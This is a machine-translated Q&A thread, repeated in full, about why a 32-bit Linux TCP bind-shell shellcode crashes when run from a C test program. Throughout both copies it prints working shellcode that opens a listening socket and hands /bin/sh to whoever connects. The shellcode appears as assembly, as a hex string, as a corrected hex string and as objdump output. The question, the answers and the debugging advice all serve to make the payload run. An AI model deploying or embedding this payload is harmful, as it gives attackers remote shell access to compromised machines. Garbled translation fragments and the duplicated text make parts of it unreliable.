32 位 shellcode 在汇编中执行,但在 64 位 os 上不在 c 中执行,即使使用 -m32
32-bit shellcode executes in assembly but not in c on 64-bit os even with -m32
我正在为 32 位系统开发一个 tcp 绑定 shellcode。代码位于 32 位 ubuntu 而 host os 是 64 位 Windows 10(他们甚至制作 32 位 windows 10 ?)
shellcode 是一个 tcp 绑定。它作为自己的独立可执行文件执行得很好,但是当代码转换为十六进制并放入 c 测试程序时,会出现分段错误。即使在使用时也会发生这种情况
gcc -m32 -fno-stack-protector -z execstack
这是反汇编的shellcode
global _start
section .text
_start:
xor edi, edi
; Socket Call
mov al, 0x66 ;SysSocket syscall
mov bl, 1 ; Socket call
push edi ; INADDR_ANY
push 1 ; SOCK_STREAM
push 2 ; AF_INET
mov ecx, esp ; long *args
int 0x80
;Bind
mov edx, eax ; reurn of Socket call is sockfd, place into edi
mov al, 0x66 ; SysSocket syscall
inc bl ; Bind call
push edi; INADDR_ANY
push word 0x3582; Port Number
push word 2 ; AF_INET
mov ecx, esp
push 16 ;addrlen
push ecx ;*sockaddr
push edx ;SockFD
mov ecx, esp
int 0x80
;Listen
mov al, 0x66
add bl, 2
push edi
push edx
mov ecx, esp
int 0x80
;Accept
mov al, 0x66
inc bl
push edi
push edi;
push edx
mov ecx, esp
int 0x80
;ready for dup2
xchg ebx, eax
xor ecx, ecx
mov cl, 2
loop:
mov al, 63
int 0x80
dec ecx
cmp ecx, edi
jge loop
; PUSH the first null dword
push edi
; PUSH //bin/sh (8 bytes)
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push edi
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
这是 C 代码:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2
\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52
\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe
\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80
\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
如果您能帮助我找出何时无法在 C 中执行以及如何修复,我们将不胜感激。谢谢!
我对希望使用此代码的os不承担任何责任。
IA-32 和 IA-32e 模式彼此略有不同。仍然支持 int 0x80,但是使用系统调用的首选方法是通过 SYSCALL 指令。在 IA-32 模式下,所有参数都必须压入堆栈。在 IA-32e 中,寄存器 RDI、RSI、RDX、R8-R10 用于参数。如果你有超过 6 个参数,那么你必须将它们压入堆栈(QWORD 对齐!)...使用 SYSCALL 指令,结果 RFLAGS 在 R11 寄存器中返回。
在 IA-32e 模式下无法将 32 位寄存器压入堆栈(尝试一下,在代码的开头添加一个 "bits 64",然后再次添加 assemble)。从您的 32 位代码中,"push edi" 将被解释为 "push rdi"...
问题可能出在 "dec ecx" 指令上。在 IA-32 模式下是 0x49,但 IA-32e 是 0xFF 0xC9。当然,您的代码处理的是 32 位 ESP,而不是 RSP...
您发布的代码有问题。用换行符拆分行不应该真正编译。我不确定您是否在问题中插入换行符以提高可读性,并且原始字符串在所有一行上都定义了字符串。在几个位置有一个无关的 \
。有一个\x57
应该是\x57
和\x7d
应该是\x7d
。
它可能应该看起来像:
unsigned char code[] = \
"\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
"\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
"\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
"\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
"\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
上面的字符串将每一行放在自己的双引号之间,以便编译器在解析时将它们连接起来。
您的汇编代码可能很幸运,因为它完全可以作为一个独立的应用程序运行。在另一个程序中,寄存器很可能不会为零。您的代码这样做:
xor edi, edi
; Socket Call
mov al, 0x66 ;SysSocket syscall
mov bl, 1 ; Socket call
您将整个 EDI 寄存器置零,但您的代码依赖于 EAX 和 EBX[ 的高位=44=] 为零,但情况可能并非如此。您应该将这两个都归零:
xor edi, edi
xor eax, eax
xor ebx, ebx
; Socket Call
mov al, 0x66 ;SysSocket syscall
mov bl, 1 ; Socket call
将两个额外的指令添加到零寄存器将使字符串看起来像:
unsigned char code[] = \
"\x31\xff\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
"\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
"\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
"\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
"\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
OBJDUMP 在这种情况下是一个有用的工具。它可以从可执行文件(在本例中为您的 C 代码)反汇编代码和数据。您可以使用此输出来确认字符串具有您期望的说明。 objdump -D -Mintel progname
其中 progname
是可执行文件的名称。 -Mintel
使用 Intel 语法而不是 AT&T 反汇编代码和数据。从字符数组 code
生成的输出看起来像这样:
08049780 <code>:
8049780: 31 ff xor edi,edi
8049782: 31 c0 xor eax,eax
8049784: 31 db xor ebx,ebx
8049786: b0 66 mov al,0x66
8049788: b3 01 mov bl,0x1
804978a: 57 push edi
804978b: 6a 01 push 0x1
804978d: 6a 02 push 0x2
804978f: 89 e1 mov ecx,esp
8049791: cd 80 int 0x80
8049793: 89 c2 mov edx,eax
8049795: b0 66 mov al,0x66
8049797: fe c3 inc bl
8049799: 57 push edi
804979a: 66 68 82 35 pushw 0x3582
804979e: 66 6a 02 pushw 0x2
80497a1: 89 e1 mov ecx,esp
80497a3: 6a 10 push 0x10
80497a5: 51 push ecx
80497a6: 52 push edx
80497a7: 89 e1 mov ecx,esp
80497a9: cd 80 int 0x80
80497ab: b0 66 mov al,0x66
80497ad: 80 c3 02 add bl,0x2
80497b0: 57 push edi
80497b1: 52 push edx
80497b2: 89 e1 mov ecx,esp
80497b4: cd 80 int 0x80
80497b6: b0 66 mov al,0x66
80497b8: fe c3 inc bl
80497ba: 57 push edi
80497bb: 57 push edi
80497bc: 52 push edx
80497bd: 89 e1 mov ecx,esp
80497bf: cd 80 int 0x80
80497c1: 93 xchg ebx,eax
80497c2: 31 c9 xor ecx,ecx
80497c4: b1 02 mov cl,0x2
80497c6: b0 3f mov al,0x3f
80497c8: cd 80 int 0x80
80497ca: 49 dec ecx
80497cb: 39 f9 cmp ecx,edi
80497cd: 7d f7 jge 80497c6 <code+0x46>
80497cf: 57 push edi
80497d0: 68 2f 2f 73 68 push 0x68732f2f
80497d5: 68 2f 62 69 6e push 0x6e69622f
80497da: 89 e3 mov ebx,esp
80497dc: 57 push edi
80497dd: 89 e2 mov edx,esp
80497df: 53 push ebx
80497e0: 89 e1 mov ecx,esp
80497e2: b0 0b mov al,0xb
80497e4: cd 80 int 0x80
我正在为 32 位系统开发一个 tcp 绑定 shellcode。代码位于 32 位 ubuntu 而 host os 是 64 位 Windows 10(他们甚至制作 32 位 windows 10 ?)
shellcode 是一个 tcp 绑定。它作为自己的独立可执行文件执行得很好,但是当代码转换为十六进制并放入 c 测试程序时,会出现分段错误。即使在使用时也会发生这种情况 gcc -m32 -fno-stack-protector -z execstack
这是反汇编的shellcode
global _start
section .text
_start:
xor edi, edi
; Socket Call
mov al, 0x66 ;SysSocket syscall
mov bl, 1 ; Socket call
push edi ; INADDR_ANY
push 1 ; SOCK_STREAM
push 2 ; AF_INET
mov ecx, esp ; long *args
int 0x80
;Bind
mov edx, eax ; reurn of Socket call is sockfd, place into edi
mov al, 0x66 ; SysSocket syscall
inc bl ; Bind call
push edi; INADDR_ANY
push word 0x3582; Port Number
push word 2 ; AF_INET
mov ecx, esp
push 16 ;addrlen
push ecx ;*sockaddr
push edx ;SockFD
mov ecx, esp
int 0x80
;Listen
mov al, 0x66
add bl, 2
push edi
push edx
mov ecx, esp
int 0x80
;Accept
mov al, 0x66
inc bl
push edi
push edi;
push edx
mov ecx, esp
int 0x80
;ready for dup2
xchg ebx, eax
xor ecx, ecx
mov cl, 2
loop:
mov al, 63
int 0x80
dec ecx
cmp ecx, edi
jge loop
; PUSH the first null dword
push edi
; PUSH //bin/sh (8 bytes)
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push edi
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
这是 C 代码:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2
\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52
\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe
\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80
\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
如果您能帮助我找出何时无法在 C 中执行以及如何修复,我们将不胜感激。谢谢!
我对希望使用此代码的os不承担任何责任。
IA-32 和 IA-32e 模式彼此略有不同。仍然支持 int 0x80,但是使用系统调用的首选方法是通过 SYSCALL 指令。在 IA-32 模式下,所有参数都必须压入堆栈。在 IA-32e 中,寄存器 RDI、RSI、RDX、R8-R10 用于参数。如果你有超过 6 个参数,那么你必须将它们压入堆栈(QWORD 对齐!)...使用 SYSCALL 指令,结果 RFLAGS 在 R11 寄存器中返回。
在 IA-32e 模式下无法将 32 位寄存器压入堆栈(尝试一下,在代码的开头添加一个 "bits 64",然后再次添加 assemble)。从您的 32 位代码中,"push edi" 将被解释为 "push rdi"...
问题可能出在 "dec ecx" 指令上。在 IA-32 模式下是 0x49,但 IA-32e 是 0xFF 0xC9。当然,您的代码处理的是 32 位 ESP,而不是 RSP...
您发布的代码有问题。用换行符拆分行不应该真正编译。我不确定您是否在问题中插入换行符以提高可读性,并且原始字符串在所有一行上都定义了字符串。在几个位置有一个无关的 \
。有一个\x57
应该是\x57
和\x7d
应该是\x7d
。
它可能应该看起来像:
unsigned char code[] = \
"\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
"\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
"\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
"\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
"\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
上面的字符串将每一行放在自己的双引号之间,以便编译器在解析时将它们连接起来。
您的汇编代码可能很幸运,因为它完全可以作为一个独立的应用程序运行。在另一个程序中,寄存器很可能不会为零。您的代码这样做:
xor edi, edi
; Socket Call
mov al, 0x66 ;SysSocket syscall
mov bl, 1 ; Socket call
您将整个 EDI 寄存器置零,但您的代码依赖于 EAX 和 EBX[ 的高位=44=] 为零,但情况可能并非如此。您应该将这两个都归零:
xor edi, edi
xor eax, eax
xor ebx, ebx
; Socket Call
mov al, 0x66 ;SysSocket syscall
mov bl, 1 ; Socket call
将两个额外的指令添加到零寄存器将使字符串看起来像:
unsigned char code[] = \
"\x31\xff\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
"\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
"\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
"\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
"\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
OBJDUMP 在这种情况下是一个有用的工具。它可以从可执行文件(在本例中为您的 C 代码)反汇编代码和数据。您可以使用此输出来确认字符串具有您期望的说明。 objdump -D -Mintel progname
其中 progname
是可执行文件的名称。 -Mintel
使用 Intel 语法而不是 AT&T 反汇编代码和数据。从字符数组 code
生成的输出看起来像这样:
08049780 <code>:
8049780: 31 ff xor edi,edi
8049782: 31 c0 xor eax,eax
8049784: 31 db xor ebx,ebx
8049786: b0 66 mov al,0x66
8049788: b3 01 mov bl,0x1
804978a: 57 push edi
804978b: 6a 01 push 0x1
804978d: 6a 02 push 0x2
804978f: 89 e1 mov ecx,esp
8049791: cd 80 int 0x80
8049793: 89 c2 mov edx,eax
8049795: b0 66 mov al,0x66
8049797: fe c3 inc bl
8049799: 57 push edi
804979a: 66 68 82 35 pushw 0x3582
804979e: 66 6a 02 pushw 0x2
80497a1: 89 e1 mov ecx,esp
80497a3: 6a 10 push 0x10
80497a5: 51 push ecx
80497a6: 52 push edx
80497a7: 89 e1 mov ecx,esp
80497a9: cd 80 int 0x80
80497ab: b0 66 mov al,0x66
80497ad: 80 c3 02 add bl,0x2
80497b0: 57 push edi
80497b1: 52 push edx
80497b2: 89 e1 mov ecx,esp
80497b4: cd 80 int 0x80
80497b6: b0 66 mov al,0x66
80497b8: fe c3 inc bl
80497ba: 57 push edi
80497bb: 57 push edi
80497bc: 52 push edx
80497bd: 89 e1 mov ecx,esp
80497bf: cd 80 int 0x80
80497c1: 93 xchg ebx,eax
80497c2: 31 c9 xor ecx,ecx
80497c4: b1 02 mov cl,0x2
80497c6: b0 3f mov al,0x3f
80497c8: cd 80 int 0x80
80497ca: 49 dec ecx
80497cb: 39 f9 cmp ecx,edi
80497cd: 7d f7 jge 80497c6 <code+0x46>
80497cf: 57 push edi
80497d0: 68 2f 2f 73 68 push 0x68732f2f
80497d5: 68 2f 62 69 6e push 0x6e69622f
80497da: 89 e3 mov ebx,esp
80497dc: 57 push edi
80497dd: 89 e2 mov edx,esp
80497df: 53 push ebx
80497e0: 89 e1 mov ecx,esp
80497e2: b0 0b mov al,0xb
80497e4: cd 80 int 0x80